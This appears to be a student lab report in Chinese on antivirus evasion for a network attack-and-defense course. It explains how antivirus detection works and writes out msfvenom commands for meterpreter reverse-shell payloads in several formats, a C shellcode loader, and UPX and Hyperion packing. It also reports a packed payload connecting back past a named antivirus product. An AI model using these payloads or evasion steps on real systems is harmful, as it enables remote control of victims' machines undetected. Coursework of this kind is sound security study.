2018-2019-2 網絡對抗技術 20165326 Exp3 免殺原理與實踐
免殺原理與實踐
目錄
- 知識點問答
- 實踐內容
- 遇到的問題
- 心得體會
知識點
- meterpreter免殺
基礎問題回答
- 殺軟是如何檢測出惡意代碼的?
- 特征碼(基於簽名):模式匹配,比對特征碼庫
- 啟發式:通過惡意代碼的一些特殊行為來進行a判斷
- 基於行為:通過其特殊行為(如修改註冊表,自啟動,修改權限等),在程序運行時進行監控
上面三個是老師講的,搜索相關資料還查到了一個,感覺比較像相當時可信講的封裝
完整性驗證法惡意代碼感染、破壞其他目標的過程,也是破壞這些目標的完整性的過程。從另一方面說,保證了系統資源,特別是系統中重要資源的完整性不受破壞,就能夠阻止惡意代碼對系統資源的感染和破壞。校驗和法是完整性控制技術隊信息資源實現完整性保護的一種應用,系統在安裝的時候會自動將硬盤中的所有文件資料做一次匯總並加入記錄,將正常文件的內容計算校驗和,將該校驗和寫入文件保存。定期的火災文件使用前,檢查文件現在內容計算出的校驗和與原來保存的是否一致,因而可以發現是否感染。這種方法能夠檢測出已知和未知惡意代碼,但由於惡意代碼感染並非文件改變的唯一原因,軟件版本升級、變更口令等正常程序也會引起文件更改,因而這種方法容易產生誤報,影響文件的運行速度。
免殺是做什麽?
反殺毒技術Anti Anti- Virus,它指的是一種能使病毒木馬免於被殺毒軟件查殺的技術。
就是使惡意代碼能夠運行不被查殺- 免殺的基本方法有哪些?
- 改變特征碼
- 加殼:壓縮/加密
- shellcode:加密/裝載
- 源代碼使用其他語言重寫再編譯
- 改變行為
- 通訊方式:反彈連接,數據加密或使用隧道傳輸
- 操作方式:惡意代碼減少對系統的修改,增加其中的正常代碼混淆視聽,基於內存來展開操作
- 改變特征碼
- 開啟殺軟能絕對防止電腦中惡意代碼嗎?
- 不能,比如一些純手工打造的惡意代碼,它采用殺軟無法檢測的殼進行封裝,殺軟就檢測不出來
↑back
實驗內容
任務一
1. 正確使用msf編碼器
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.80.131 LPORT=5326 -f exe > met-encoded.exe
\\'-e':指定編碼方式
\\'-i':指定編碼次數
\\'-b':去除指定代碼,一般是空代碼或者錯誤代碼
\\'-f':指定生成格式。
2. msfvenom生成如jar之類的其他文件
- java:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=5326 x > 26_java.jar
- php:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=5326 x > 26_php.php
Android:
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.80.131 lport=5326 x > 26_Android.apk
3. veil-evasion
Veil-Evasion是一種生成有效載荷可執行文件的工具,可繞過常見的防病毒解決方案
感覺是不是跟msf有一丟丟像?然後...wsl,安裝路程過於坎坷最後屈服了,拷了別人的虛擬機 [我一定要跟它死磕到底flag]
sudo apt-get install veil-evasion \\這條直接成功概率好小啊
veil \\打開veil
use ....\\balabala進行配置
set ....\\kali的ip和要用的port
\\生成文件
\\查看文件
檢測截圖
4. 加殼工具使用shellcode編程
- 首先加殼:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.163 LPORT=5326 -f c
生成shellcode - 寫一個.c文件
unsigned char buf[] =
\\這段就是剛剛生成的那一段復制過來
int main()
{
int (*func)() = (int(*)())buf;
func();
}
編譯生成exe:
i686-w64-mingw32-g++ .c -o .exe
(gcc是不行滴,你後面加殼就莫法加)任務二:通過組合應用各種技術實現惡意代碼免殺
1. 搞個壓縮殼,這裏用的upx
UPX 是一款先進的可執行程序文件壓縮器。壓縮過的可執行文件體積縮小50%-70%,這樣減少了磁盤占用空間、網絡上傳下載的時間和其它分布以及存儲費用。它也會被用來給木馬和病毒加殼,躲避殺毒軟件的查殺。殼upx是一種保護程序。一般是EXE文件的一種外保護措施,主要用途 :
1、讓正規文件被保護起來,不容易被修改和破解。
2、使文件壓縮變小。
3、保護殺毒軟件安裝程序,使之不受病毒侵害。
4、木馬,病毒的保護外殼,使之難以為攻破。
- 剛剛上面生成的.exe文件加殼:
upx 5326.exe -o 5326_upxed.exe
- 試一下反彈連接
2.再來個加密殼,hyperion
- 將上一個生成的文件拷貝到
/usr/share/windows-binaries/hyperion/
中 - 進入該目錄
- 輸入命令
wine hyperion.exe -v 5326_upxed.exe 5326_upxed_H.exe
進行加殼: 截圖
任務三:用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本
- 攻擊方cz:kali[ip:10.1.1.176 port:5326]
- 受害者yh:win7[ip:10.1.1.243 port:50559] 殺軟:
騰訊電腦管家13.0.19837.233
,惡意代碼:far_26.exe
,壓縮帶殼 - virustotal掃描:
- yh的管家沒查出來:
囂張
這裏要說一下ho,因為不是本機傳輸了ho,要換成橋接模式ho,確定在一個網段裏面才能傳輸ho.實驗遇到的問題
- veil裝不好,我回來補
- 橋接換網,kali的ip地址一直都出不來,vmnet0橋接然後改成WiFi適配就能直接上網(要是遇到了可以試一下)
↑back
心得體會
最大的體會:veil真是太難裝了,完全不知道問題出在哪裏,等我裝好了一定給大家做一個完全的教程【吐血】。發現這些殺毒軟件都很有意思,給大家排個名:360、騰訊 > 金山毒霸(真的垃圾,啥都掃不出來,全程無查殺說的就是ta.勸大家下載前兩個不說了我先去下一個)。總的來說還是學到了各種免殺方法
↑back
2018-2019-2 網絡對抗技術 20165326 Exp3 免殺原理與實踐